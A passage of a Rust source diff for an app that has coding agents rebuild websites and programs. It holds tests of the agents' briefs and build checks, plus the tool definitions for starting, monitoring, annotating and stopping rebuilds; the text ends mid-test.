json!({ + "layouts": [{"width": 1440, "page_w": 1440}, {"width": 390, "page_w": 390}, {"width": 320, "page_w": 400}], + "health": {"errors": [], "failed_requests": []}, + "a11y": {"landmarks": {"banner": 1, "navigation": 1, "main": 1, "contentinfo": 1}} + }); + let good = json!({ + "layouts": [{"width": 1440, "page_w": 1440}, {"width": 390, "page_w": 390}, {"width": 320, "page_w": 500}], + "health": {"errors": [], "failed_requests": []}, + "a11y": {"landmarks": {"banner": 2, "navigation": 1, "main": 1, "contentinfo": 1}} + }); + let claims = page_claims("The start page", &original, &good); + let titles: Vec<&str> = claims.iter().map(|c| c.title.as_str()).collect(); + assert_eq!( + titles, + [ + "The start page doesn't scroll sideways at 1440 px", + "The start page doesn't scroll sideways at 390 px", + "The start page logs no errors the original doesn't", + "The start page loads every file it asks for", + "The start page has the original's landmarks", + ], + "no claim at a width where the original scrolls sideways too" + ); + assert!(claims.iter().all(|c| c.passed)); + let broken = json!({ + "layouts": [{"width": 1440, "page_w": 1440}, {"width": 390, "page_w": 512}], + "health": {"errors": [{"text": "TypeError: x"}], "failed_requests": [{"url": "http://127.0.0.1:1/logo.png", "status": 404}]}, + "a11y": {"landmarks": {"main": 1}} + }); + let failed: Vec<(String, String)> = page_claims("/about", &original, &broken).into_iter().filter(|c| !c.passed).map(|c| (c.title, c.detail)).collect(); + assert_eq!( + failed, + [ + ("/about doesn't scroll sideways at 390 px".to_string(), "it's 512 px wide".to_string()), + ("/about logs no errors the original doesn't".to_string(), "TypeError: x".to_string()), + ("/about loads every file it asks for".to_string(), "/logo.png (404)".to_string()), + ("/about has the original's landmarks".to_string(), "missing: banner, contentinfo, navigation".to_string()), + ] + ); + assert!(page_claims("x", &json!({}), &json!({})).is_empty(), "older captures make no claims"); +} + +#[test] +fn a_console_original_is_compared_by_its_runs_not_pictured() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Tool", "Rebuild this tool", TargetRef::Local { path: d.path().join("tool.exe") }).unwrap(); + let b = brief(&ws, "app", false, false, None, false, None); + assert!(b.contains("--screenshot") && !b.contains("capture/runs/"), "a windowed app is pictured"); + let runs = ws.capture_dir().join(kinds::runs::RUNS_DIR); + std::fs::create_dir_all(&runs).unwrap(); + std::fs::write( + runs.join("help.json"), + br#"{"name": "--help", "arguments": ["--help"], "reason": "exited", "exit_code": 0, "lines": ["Usage: tool "]}"#, + ) + .unwrap(); + let b = brief(&ws, "app", false, false, None, false, None); + assert!(b.contains(kinds::RUNS_BRIEF) && !b.contains("Give the program a `--screenshot"), "{b}"); + assert_eq!(kinds::runs::captured(&ws).len(), 1, "the runs check applies, the picture check doesn't"); +} + +#[test] +fn deep_mode_hands_the_builder_every_tool_and_clean_room_none_that_look_inside() { + let d = tempfile::tempdir().unwrap(); + let web = Workspace::create(d.path(), "Site", "Clone it", TargetRef::Website { url: "https://example.com".into() }).unwrap(); + let b = brief(&web, "website", true, false, None, false, None); + assert!(b.contains("every craft-anything tool is yours") && b.contains("capture/how-it-works.md"), "{b}"); + assert!(b.contains("web_listeners_list") && b.contains("web_coverage_measure") && b.contains("js_sources_restore"), "{b}"); + assert!(b.contains("never paste the original's code into app/") && !b.contains("enable_toolset with"), "{b}"); + let clean = brief(&web, "website", false, false, None, false, None); + assert!(clean.contains("what a visitor of the live site sees") && clean.contains("don't open or fetch the original site"), "{clean}"); + for deep_only in ["web_page_show", "web_listeners_list", "page.html", "breakpoints", "how-it-works"] { + assert!(!clean.contains(deep_only), "{deep_only} in a Clean room brief: {clean}"); + } + assert!(clean.contains("never open, read, list, fetch, run or decompile its files"), "{clean}"); + let prog = Workspace::create(d.path(), "Tool", "Rebuild it", TargetRef::Local { path: d.path().join("tool.exe") }).unwrap(); + let b = brief(&prog, "app", true, false, None, false, None); + assert!( + b.contains("core_target_triage") + && b.contains("native_function_pseudocode") + && b.contains("managed_assembly_show") + && !b.contains("web_listeners_list"), + "{b}" + ); + let clean = brief(&prog, "app", false, false, None, false, None); + assert!(!clean.contains("core_target_triage") && !clean.contains("native_") && clean.contains("ask the person with core_person_ask"), "{clean}"); +} + +#[test] +fn a_console_original_is_rebuilt_as_a_console_program() { + let d = tempfile::tempdir().unwrap(); + let (tool, app) = (d.path().join("tool.exe"), d.path().join("app.exe")); + std::fs::write(&tool, craft_anything_testkit::pe64_subsystem(3)).unwrap(); + std::fs::write(&app, craft_anything_testkit::pe64_subsystem(2)).unwrap(); + assert_eq!(choose("Rebuild this tool", &TargetRef::Local { path: tool }), ("app", "Rust (console)")); + assert_eq!(choose("Rebuild this tool", &TargetRef::Local { path: app }).1, "Rust + egui (eframe)", "a windowed program stays a windowed app"); + let steps = stacks::steps("Rust (console)", None); + assert!(steps.contains("console program") && steps.contains("exit codes") && steps.contains("draw no window"), "{steps}"); + assert_eq!(choose("A notes tool", &TargetRef::None).1, "Rust + egui (eframe)"); +} + +#[test] +fn a_note_the_builder_took_at_a_step_joins_the_feed_and_isnt_sent_again() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Site", "Clone it", TargetRef::None).unwrap(); + let (tx, rx) = std::sync::mpsc::channel(); + let w = Worker { + wake: Default::default(), + engine: Arc::new(Engine::new(craft_anything_engine::testing::session())), + tx, + stop: CancelToken::default(), + preview: Arc::default(), + seen: HashSet::new(), + inbox: Inbox::new(ws.inbox_dir()), + editor: None, + notes: Arc::new(Mutex::new(vec![ + Note { id: 1, text: "make the header blue".into(), shown: "make the header blue".into() }, + Note { id: 2, text: "add a footer".into(), shown: "add a footer".into() }, + ])), + feed: Arc::new(Mutex::new(feed::FeedLog::open(&ws))), + assets: false, + decompiled: false, + usage: None, + self_check: None, + }; + let dir = notes::notes_dir(&ws.inbox_dir()); + notes::hand_over(&dir, 1, "make the header blue").unwrap(); + notes::hand_over(&dir, 2, "add a footer").unwrap(); + // The agent's hook takes the first one at a step; the second comes in after it. + std::fs::rename(dir.join("2.json"), dir.join("2.wait")).unwrap(); + assert_eq!(notes::claim(&dir), ["make the header blue"]); + std::fs::rename(dir.join("2.wait"), dir.join("2.json")).unwrap(); + w.relay_read_notes(&ws); + let shown: Vec = rx.try_iter().filter_map(|e| if let RunEvent::Note(s) = e { Some(s) } else { None }).collect(); + assert_eq!(shown, ["make the header blue"], "it joins the feed as soon as the builder took it"); + assert!(!notes::was_read(&dir, 1), "its files are gone"); + // After the turn, only the note nobody took is sent, and no hook can hand it over again. + let follow = w.added(&mut ws).unwrap(); + assert!(follow.contains("add a footer") && !follow.contains("make the header blue"), "{follow}"); + assert!(notes::claim(&dir).is_empty()); +} + +/// From a live Next.js + shadcn/ui clone of a fixture page (R2.3): the builder writes its own +/// headings, so sections pair by tag in page order when the headings differ, and a nav's link +/// count isn't a grid's items per row. +#[test] +fn design_notes_pair_renamed_sections_and_leave_nav_links_alone() { + use kinds::website::design_notes; + let block = |tag: &str, heading: &str, pad: u64, per_row: u64| json!({"tag": tag, "heading": heading, "pad": [pad, 0, pad, 0], "per_row": per_row, "column": {"max_w": 1100}}); + let layout = |blocks: Vec| json!({"layouts": [{"width": 768, "page_w": 753, "type": {"h1": 36}, "blocks": blocks}]}); + let original = layout(vec![block("nav", "", 0, 2), block("section", "Why people switch", 48, 2), block("section", "Plans", 48, 1)]); + let same_but_renamed = layout(vec![block("nav", "", 0, 3), block("section", "Why people like it", 48, 2), block("section", "Plans", 48, 1)]); + assert!(design_notes(&original, &same_but_renamed).is_empty(), "{:?}", design_notes(&original, &same_but_renamed)); + let tighter = layout(vec![block("nav", "", 0, 3), block("section", "Why people like it", 24, 2), block("section", "Plans", 48, 1)]); + let notes = design_notes(&original, &tighter); + assert_eq!(notes.len(), 1, "{notes:?}"); + assert!(notes[0].contains("\"Why people switch\" section: padding 24 0 24 0 vs the original's 48 0 48 0"), "{notes:?}"); +} + +#[test] +fn a_project_in_a_picked_folder_tells_the_builder_what_its_files_are() { + use craft_anything_engine::workspace::ExistingFiles; + let d = tempfile::tempdir().unwrap(); + let settings = craft_anything_engine::Settings::default(); + let folder = |name: &str| { + let f = d.path().join(name); + std::fs::create_dir_all(&f).unwrap(); + std::fs::write(f.join("index.html"), "

hi

").unwrap(); + f + }; + let usual = project::new_project(&settings, "-", "A notes app", project::Place::In(d.path()), None, false, None).unwrap(); + assert!(!brief(&usual, "app", false, false, None, false, None).contains("folder of their own"), "a usual project says nothing about it"); + + let mine = folder("mine"); + let refused = project::new_project(&settings, "-", "Add a contact form", project::Place::At(&mine, None), None, false, None); + assert!(refused.is_err(), "a folder with files needs to know what they are"); + let ws = project::new_project(&settings, "-", "Add a contact form", project::Place::At(&mine, Some(ExistingFiles::Edit)), None, false, None).unwrap(); + let b = brief(&ws, "website", false, false, None, false, None); + assert!(b.contains("already has their files (index.html)") && b.contains("use the workspace folder itself (./)") && b.contains("craft.json"), "{b}"); + + let start = folder("start"); + let ws = project::new_project(&settings, "-", "A site like this", project::Place::At(&start, Some(ExistingFiles::StartFrom)), None, false, None).unwrap(); + let b = brief(&ws, "website", false, false, None, false, None); + assert!(b.contains("which already had these files: index.html") && b.contains("bring into app/"), "{b}"); + assert!(!b.contains("use the workspace folder itself")); +} + +#[test] +fn a_project_started_in_a_picked_folder_stays_in_the_list() { + let mut session = craft_anything_engine::testing::session(); + let d = tempfile::tempdir().unwrap(); + let ws = project::new_project(&session.settings, "-", "A notes app", project::Place::At(&d.path().join("mine"), None), None, false, None).unwrap(); + session.remember_project(&ws.root).unwrap(); + assert_eq!(session.settings.project_folders, std::slice::from_ref(&ws.root)); + let saved = craft_anything_engine::Settings::load_from(&session.config_dir().join("config.toml")); + assert_eq!(saved.project_folders, std::slice::from_ref(&ws.root), "saved in the session's own settings"); + let listed = Workspace::list_in(&session.settings.project_locations()); + assert!(listed.iter().any(|w| w.root == ws.root)); +} + +#[test] +fn the_extractors_transcript_is_one_of_craft_anythings_own_files() { + assert!(craft_anything_engine::workspace::OWN_NAMES.contains(&brief::EXTRACT_TRANSCRIPT), "a picked folder with this name would be overwritten"); +} + +#[test] +fn a_project_is_built_by_the_ai_it_was_started_with_while_that_one_is_on() { + use crate::{AiConfig, BackendConfig, BackendEntry, BackendKind}; + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Notes", "A notes app", TargetRef::None).unwrap(); + ws.manifest.builder = Some("Codex".into()); + let mut cfg = AiConfig::default(); + for (name, enabled) in [("Claude Code", true), ("Codex", true)] { + let c = BackendConfig { name: name.into(), kind: BackendKind::AgentCli, model: String::new(), base_url: None, ssh_host: None, enabled }; + cfg.upsert(BackendEntry { config: c, options: Default::default() }); + } + assert_eq!(super::project_builder(&cfg, &ws), Some("Codex")); + assert_eq!(builder_backend(&cfg, super::project_builder(&cfg, &ws)).unwrap().config.name, "Codex"); + // Turned off (or removed): the default builds it instead of failing. + cfg.backends.iter_mut().for_each(|b| b.config.enabled = b.config.name != "Codex"); + assert_eq!(super::project_builder(&cfg, &ws), None); + assert_eq!(builder_backend(&cfg, super::project_builder(&cfg, &ws)).unwrap().config.name, "Claude Code"); +} diff --git a/desktop/crates/ai/src/rebuild/tools.rs b/desktop/crates/ai/src/rebuild/tools.rs new file mode 100644 index 0000000..b0ab1aa --- /dev/null +++ b/desktop/crates/ai/src/rebuild/tools.rs @@ -0,0 +1,552 @@ +//! Rebuild control as tools, registered from this layer next to the engine's own +//! ([`craft_anything_engine::Engine::shared`]): start a build (new or a follow-up), see whether +//! it's running, add a note while it works, and stop it. The conversation, questions and result +//! are the project tools' (`project_show`, `project_inbox_answer`, `project_play`…). + +use super::*; +use craft_anything_engine::questions::{self, AskedQuestion}; +use craft_anything_engine::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engine::{EngineRef, Settings}; +use schemars::JsonSchema; +use serde::Deserialize; + +/// The AI layer's tools, for [`craft_anything_engine::Engine::shared`]. +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "rebuild_start", + title: "Start a rebuild", + summary: "Start building: a new project from a request and a target (a web address, an absolute path, or - for none), or a follow-up on an existing project. A coding agent studies, builds, checks and refines in the background; follow it with rebuild_status and project_show, answer its questions with project_inbox_answer. Up to `build.parallel` projects build at once (2 by default); more are queued and start on their own as others finish. It runs a coding agent that writes and builds code, so it needs consent.", + beginner: "Starts making something.", + toolset: Toolset::Projects, + effects: Effects::LAUNCHES_PROCESS.union(Effects::EXECUTES_FOREIGN_CODE).union(Effects::WRITES_FILESYSTEM).union(Effects::ACCESSES_NETWORK), + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_start, + }, + ToolSpec { + id: "rebuild_status", + title: "Rebuild status", + summary: "Whether a project's build is running in this session (or queued, and where), its status and note, the latest check, and how many questions are waiting.", + beginner: "Shows how a build is going.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_status, + }, + ToolSpec { + id: "rebuild_activity_show", + title: "Show a build's activity", + summary: "What a project's builds did, line by line, newest last: each stage, every command and file the builder touched and how it ended, what it said, and what programs printed outside the conversation. Secrets are hidden. Works while a build runs and after. `limit` lines (200 by default, at most 2000), `offset` lines back from the newest.", + beginner: "Shows the details of what a build has been doing.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY.union(Effects::CARRIES_TARGET_CONTENT), + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_activity_show, + }, + ToolSpec { + id: "rebuild_note", + title: "Add to a running build", + summary: "Tell a running build something more; the agent reads it at its next step. With no build running, start a follow-up with rebuild_start instead.", + beginner: "Adds information while it builds.", + toolset: Toolset::Projects, + effects: Effects::CHANGES_UI_STATE.union(Effects::WRITES_FILESYSTEM), + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_note, + }, + ToolSpec { + id: "rebuild_note_withdraw", + title: "Take back a note", + summary: "Take back a note given with rebuild_note (by the id it returned) while the agent hasn't read it yet; it returns the note's text. Once the agent has read it, it can't be taken back.", + beginner: "Takes back something you added before the builder reads it.", + toolset: Toolset::Projects, + effects: Effects::CHANGES_UI_STATE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_note_withdraw, + }, + ToolSpec { + id: "rebuild_stop", + title: "Stop a rebuild", + summary: "Pause a project's running build. Its work so far is kept; a follow-up continues it.", + beginner: "Pauses a build.", + toolset: Toolset::Projects, + effects: Effects::CHANGES_UI_STATE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_stop, + }, + ToolSpec { + id: QUESTION_TOOL, + title: "Ask about a build", + summary: "Ask a question about a project's build (\"where are the latest files?\", \"why this engine?\") without starting a build or a round, and without changing anything. Claude Code answers from a copy of the builder's own session, which isn't kept, reading files only (none in Clean room); an AI with an API key answers with the tools that change nothing. Other coding agents are refused. Safe while a build runs: it doesn't interrupt it. Returns the answer, how it was answered and its cost, and keeps it in the project (`rebuild_questions_list`).", + beginner: "Asks about what was made, without changing it.", + toolset: Toolset::Projects, + effects: Effects::LAUNCHES_PROCESS.union(Effects::ACCESSES_NETWORK), + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_question_ask, + }, + ToolSpec { + id: "rebuild_questions_list", + title: "List questions about a build", + summary: "The questions asked about a project's build and their answers, oldest first (the newest 200).", + beginner: "Shows what you've asked about this project.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_questions_list, + }, + ToolSpec { + id: "rebuild_check", + title: "Check my build", + summary: "For the builder: test the project's current build against the original now, with the same checks REI Reverse Engineer runs after each turn (a website's likeness at each width with the padding, colour, font and layout differences; an app's or game's picture against the original's; whether it builds; the mechanics sheet; credits). The project's running build answers it, so the builder can fix what it lists and check again before replying. Not counted as a round. project defaults to the project this tool server works for.", + beginner: "Lets the builder test its work against the original while it builds.", + toolset: Toolset::Core, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: rebuild_check, + }, + ] +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StartParams { + /// What to make (a new project), or the follow-up message (with `project`). + pub request: String, + /// For a new project: a web address, an absolute path to an app, game or file, or `-` for none. + #[serde(default)] + pub target: Option, + /// Continue this project folder instead of starting a new one. + #[serde(default)] + pub project: Option, + /// With `project`: carry on where its last run stopped (paused, or the app or the computer + /// stopped) instead of sending `request` as a follow-up. + #[serde(default)] + pub resume: bool, + /// Where a new project's folder goes (default: the projects folder from settings). + #[serde(default)] + pub projects_dir: Option, + /// Start the new project in this folder itself instead (it's added to the project list). If + /// it already has files, `existing` says what they are. + #[serde(default)] + pub project_folder: Option, + /// With `project_folder` that has files: `edit` (they're the app, edited in place) or + /// `start_from` (material to start from; the app is built in app/ beside them). + #[serde(default)] + pub existing: Option, + /// What to build with: an engine (unity, unreal, godot, rust) or a stack's full name. + #[serde(default)] + pub build_with: Option, + /// For a new game: the builder may generate pictures and 3D models (paid from the person's + /// asset provider key, within the project's budget). Default false; change it later with + /// project_assets_allow. + #[serde(default)] + pub generate_assets: bool, + /// The coding agent to use (a backend name), kept with a new project for its later changes; + /// default: the one set up for building. + #[serde(default)] + pub backend: Option, + /// Refinement rounds after the first build (default 2). + #[serde(default)] + pub rounds: Option, + /// Pictures of the original (absolute paths): the look the person expects. They're copied + /// into the project's reference/ folder for the builder. + #[serde(default)] + pub pictures: Vec, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CheckParams { + /// The project's folder; default: the project this tool server was started for. + #[serde(default)] + pub project: Option, + /// Longest wait for the result, in minutes (1..=60, default 20): a website with several pages + /// or a game's engine build takes a few minutes. + #[serde(default = "d_wait_minutes")] + pub wait_minutes: u64, +} + +fn d_wait_minutes() -> u64 { + 20 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProjectParams { + /// The project's folder. + pub project: PathBuf, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ActivityParams { + /// The project's folder. + pub project: PathBuf, + /// How many lines to return (200 by default, at most 2000). + #[serde(default)] + pub limit: Option, + /// How many lines back from the newest to end at (0 by default). + #[serde(default)] + pub offset: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct NoteParams { + /// The project's folder. + pub project: PathBuf, + /// What to tell the builder. + pub text: String, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct WithdrawParams { + /// The project's folder. + pub project: PathBuf, + /// The note's id, as rebuild_note returned it. + pub id: u64, +} + +/// Builds started by tools in this session, by project folder. +struct Runs(Arc>); + +/// How often queued builds are checked for a free place between tool calls. +const QUEUE_TICK: Duration = Duration::from_secs(2); + +fn runs(ctx: &mut Ctx<'_>) -> Arc { + match ctx.session.ext.get::() { + Some(r) => r, + None => { + let r = Arc::new(Runs(Arc::new(Mutex::new(RunSet::new(ctx.session.settings.build.parallel))))); + ctx.session.ext.insert(r.clone()); + r + } + } +} + +/// The engine the rebuild tools were registered on. +fn engine(ctx: &Ctx<'_>) -> Option> { + ctx.session.ext.get::().and_then(|r| r.0.upgrade()) +} + +/// Bring every run up to date and start queued ones in free places. Events are kept in each +/// project's feed by the run itself, so they're dropped here. +fn refresh(ctx: &Ctx<'_>, set: &mut RunSet) { + set.set_limit(ctx.session.settings.build.parallel); + if let Some(engine) = engine(ctx) { + let _ = set.poll(&AiHub::new(engine)); + } +} + +fn open(project: &Path) -> Result { + Workspace::open(project).map_err(|e| { + ToolError::new(ErrorCode::NotFound, format!("{} isn't a project folder: {}", project.display(), e.message)) + .with_remediation("Pass a folder from project_list (it holds craft.json).") + }) +} + +/// The question tool's id. +pub const QUESTION_TOOL: &str = "rebuild_question_ask"; + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct QuestionParams { + /// The project's folder. + pub project: PathBuf, + /// The question, in plain words. + pub question: String, +} + +fn rebuild_question_ask(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: QuestionParams = parse_params(params)?; + let engine = engine(ctx).ok_or_else(|| { + ToolError::new(ErrorCode::FeatureMissing, "Questions about a build aren't available in this engine.") + .with_remediation("Use the app or `craft-anything-cli`.") + })?; + let ws = open(&p.project)?; + let after = craft_anything_engine::feed::load(&ws).len(); + ctx.report(None, "Asking…"); + // The session is this call's while it runs: the question gets its settings from here. + let mut settings = ctx.session.settings.clone(); + settings.deep_mode = !ctx.session.clean_room(); + let answered = + super::question::ask(&AiHub::new(engine), &settings, Some(crate::failure_log::dir_in(&ctx.session.config_dir())), &ws, &p.question, &ctx.cancel)?; + let question = p.question.trim(); + let from_session = answered.from == super::question::AnsweredFrom::BuildersSession; + let asked = AskedQuestion::new(question.to_string(), answered.answer.clone(), from_session, answered.backend.clone(), answered.cost_usd, after); + // An answer that couldn't be kept is still the answer. + let not_kept = questions::add(&ws, asked).err().map(|e| e.message); + Ok(ToolOutput::Value(json!({"project": ws.root, "question": question, "answered": answered, "not_kept": not_kept}))) +} + +fn rebuild_questions_list(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProjectParams = parse_params(params)?; + let questions = questions::load(&open(&p.project)?); + Ok(ToolOutput::Value(json!({"count": questions.len(), "questions": questions}))) +} + +fn rebuild_start(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: StartParams = parse_params(params)?; + let engine = engine(ctx).ok_or_else(|| { + ToolError::new(ErrorCode::FeatureMissing, "Building isn't available in this engine.").with_remediation("Use the app or `craft-anything-cli rebuild`.") + })?; + let runs = runs(ctx); + let settings: &Settings = &ctx.session.settings; + let (ws, message) = match &p.project { + Some(dir) => { + if p.build_with.is_some() { + return Err(ToolError::invalid("build_with is for new projects; a project keeps the stack it was built with.")); + } + if p.generate_assets { + return Err(ToolError::invalid("generate_assets is for new projects.").with_remediation("Use project_assets_allow for an existing project.")); + } + (open(dir)?, (!p.resume).then(|| p.request.clone())) + } + None if p.resume => return Err(ToolError::invalid("resume is for an existing project.").with_remediation("Pass its folder as `project`.")), + None => { + let target = p.target.as_deref().unwrap_or("-"); + let place = match (&p.project_folder, &p.projects_dir) { + (Some(_), Some(_)) => return Err(ToolError::invalid("Pass projects_dir or project_folder, not both.")), + (Some(f), None) => project::Place::At(f, p.existing), + (None, Some(d)) => project::Place::In(d), + (None, None) => project::Place::Projects, + }; + let ws = project::new_project(settings, target, &p.request, place, p.build_with.as_deref(), p.generate_assets, p.backend.as_deref())?; + if p.project_folder.is_some() { + ctx.session.remember_project(&ws.root)?; + } + (ws, None) + } + }; + if !p.pictures.is_empty() { + ws.add_references(&p.pictures)?; + } + let mut set = runs.0.lock().unwrap_or_else(PoisonError::into_inner); + refresh(ctx, &mut set); + if set.is_busy(&ws.root) { + return Err(ToolError::new(ErrorCode::BadInput, "This project is already building.") + .with_remediation("Add to it with rebuild_note, or stop it with rebuild_stop.")); + } + let root = ws.root.clone(); + let opts = RunOptions { + backend: p.backend, + shown: message.clone(), + message, + continuing: p.resume, + max_rounds: p.rounds.unwrap_or(2), + beginner: false, + ..RunOptions::default() + }; + let hub = AiHub::new(engine); + let out = match set.start(&hub, ws, opts)? { + Started::Running => json!({"project": root.display().to_string(), "started": true}), + Started::Queued { position } => { + // It starts when a place comes free, whether or not another tool is called. + drop(set); + runs::keep_queue_moving(&runs.0, &hub.engine, QUEUE_TICK); + json!({"project": root.display().to_string(), "started": false, "queued": position}) + } + }; + Ok(ToolOutput::Value(out)) +} + +fn rebuild_status(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProjectParams = parse_params(params)?; + let ws = open(&p.project)?; + let runs = runs(ctx); + let mut set = runs.0.lock().unwrap_or_else(PoisonError::into_inner); + refresh(ctx, &mut set); + let m = &ws.manifest; + Ok(ToolOutput::Value(json!({ + "project": ws.root.display().to_string(), + "running": set.is_running(&ws.root), + "queued": set.position(&ws.root), + "status": m.status, + "status_label": m.status.label(), + "note": m.note, + "last_check": m.checks.last(), + "waiting": Inbox::new(ws.inbox_dir()).pending().len(), + }))) +} + +fn rebuild_activity_show(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ActivityParams = parse_params(params)?; + let ws = open(&p.project)?; + let limit = p.limit.unwrap_or(200).min(2000); + let (lines, total) = super::activity::read_log(&ws.root, p.offset.unwrap_or(0), limit)?; + Ok(ToolOutput::Value(json!({ + "project": ws.root.display().to_string(), + "log": ws.root.join(craft_anything_engine::workspace::ACTIVITY_LOG).display().to_string(), + "lines": lines, + "total_lines_read": total, + }))) +} + +fn rebuild_note(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: NoteParams = parse_params(params)?; + let ws = open(&p.project)?; + let runs = runs(ctx); + let mut set = runs.0.lock().unwrap_or_else(PoisonError::into_inner); + refresh(ctx, &mut set); + match set.get(&ws.root).filter(|r| r.is_running()) { + Some(run) => { + let id = run.add_note(p.text.clone(), p.text); + Ok(ToolOutput::Value(json!({"id": id, "queued": run.queued()}))) + } + None => Err(ToolError::new(ErrorCode::BadInput, "No build is running for this project in this session.") + .with_remediation("Start a follow-up with rebuild_start (pass project and your message).")), + } +} + +fn rebuild_note_withdraw(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: WithdrawParams = parse_params(params)?; + let ws = open(&p.project)?; + let runs = runs(ctx); + let mut set = runs.0.lock().unwrap_or_else(PoisonError::into_inner); + refresh(ctx, &mut set); + match set.get(&ws.root).and_then(|r| r.unsend(p.id)) { + Some(note) => Ok(ToolOutput::Value(json!({"withdrawn": note.text}))), + None => Err(ToolError::new(ErrorCode::BadInput, format!("Note {} isn't waiting: the agent has read it, or it isn't from this session.", p.id))), + } +} + +fn rebuild_stop(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ProjectParams = parse_params(params)?; + let ws = open(&p.project)?; + let runs = runs(ctx); + let mut set = runs.0.lock().unwrap_or_else(PoisonError::into_inner); + refresh(ctx, &mut set); + match set.stop(&ws.root) { + Stopped::Stopping => Ok(ToolOutput::Value(json!({"stopping": ws.root.display().to_string()}))), + Stopped::Unqueued => Ok(ToolOutput::Value(json!({"unqueued": ws.root.display().to_string()}))), + Stopped::Nothing => Err(ToolError::new(ErrorCode::BadInput, "No build is running for this project in this session.")), + } +} + +/// Ask the project's running build to check the current build (see [`super::self_check`]) and +/// wait for what it found. +fn rebuild_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CheckParams = parse_params(params)?; + if !(1..=60).contains(&p.wait_minutes) { + return Err(ToolError::invalid("wait_minutes must be 1..=60")); + } + // The tool server is started with the project's inbox (/inbox). + let project = p + .project + .or_else(|| ctx.session.ext.get::().and_then(|d| d.0.parent().map(Path::to_path_buf))) + .ok_or_else(|| ToolError::invalid("No project given.").with_remediation("Pass project: the project's folder (it holds craft.json)."))?; + let ws = open(&project)?; + if self_check::building_here(&ws.root) { + return Err(ToolError::new(ErrorCode::FeatureMissing, "This builder can't check its own work while it builds.") + .with_remediation("Finish the turn: REI Reverse Engineer checks the build after it.")); + } + let asks = Inbox::new(self_check::asks_dir(&ws.root)); + let id = asks.post(craft_anything_engine::inbox::RequestKind::Question, "Check the build", "", Vec::new(), false, None)?; + ctx.report(None, "Checking the build against the original…"); + let cancel = ctx.cancel.clone(); + match asks.wait(&id, Duration::from_secs(p.wait_minutes * 60), &|| cancel.is_cancelled()) { + Some(a) => Ok(ToolOutput::Value(json!({"project": ws.root.display().to_string(), "report": a.text.unwrap_or_default()}))), + None if ctx.cancel.is_cancelled() => Err(ToolError::new(ErrorCode::Cancelled, "Stopped.")), + None => Err(ToolError::new(ErrorCode::NotFound, "No answer: no build is running for this project, or the check took too long.") + .with_remediation("Use this while REI Reverse Engineer is building the project; otherwise build it and finish the turn, and it is checked after.")), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_engine::{CallOptions, Caller, Consent, Engine}; + + #[test] + fn a_question_through_the_engine_comes_back_instead_of_waiting_for_the_session() { + // The tool runs while the call holds the session; reading it again would wait forever. + let mut s = craft_anything_engine::testing::session(); + s.settings.ai = + toml::from_str("[[backends]]\nname = \"Agent\"\nkind = \"agent_cli\"\nmodel = \"claude-code\"\ncommand = \"craft-anything-no-such-agent\"\n") + .unwrap(); + let e = std::sync::Arc::new(Engine::shared(s, specs())); + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + let (tx, rx) = std::sync::mpsc::channel(); + let e2 = e.clone(); + std::thread::spawn(move || { + let r = e2.call(QUESTION_TOOL, json!({"project": ws.root, "question": "where are the files?"}), CallOptions::new(Caller::Cli)); + let _ = tx.send(r.map(|o| o.to_json())); + }); + let r = rx.recv_timeout(std::time::Duration::from_secs(60)).expect("the question came back"); + // No such agent here: an error that says so, not a hang. + assert!(r.is_err(), "{r:?}"); + } + + #[test] + fn rebuild_tools_are_registered_from_the_ai_layer_and_check_their_input() { + let d = tempfile::tempdir().unwrap(); + let e = Engine::shared(craft_anything_engine::testing::session(), specs()); + let ok = || CallOptions::new(Caller::Cli).with_consent(Consent::Granted); + for id in ["rebuild_start", "rebuild_status", "rebuild_note", "rebuild_note_withdraw", "rebuild_stop", "rebuild_check"] { + assert!(e.registry().get(id).is_some(), "{id}"); + } + // Starting runs a coding agent: refused without consent, before anything is created. + let p = json!({"request": "A page", "target": "-", "projects_dir": d.path()}); + assert!(e.call("rebuild_start", p, CallOptions::new(Caller::Mcp)).is_err()); + assert_eq!(std::fs::read_dir(d.path()).unwrap().count(), 0, "nothing created without consent"); + // A bad target or stack is refused before a project is made. + assert!(e.call("rebuild_start", json!({"request": "x", "target": "not a 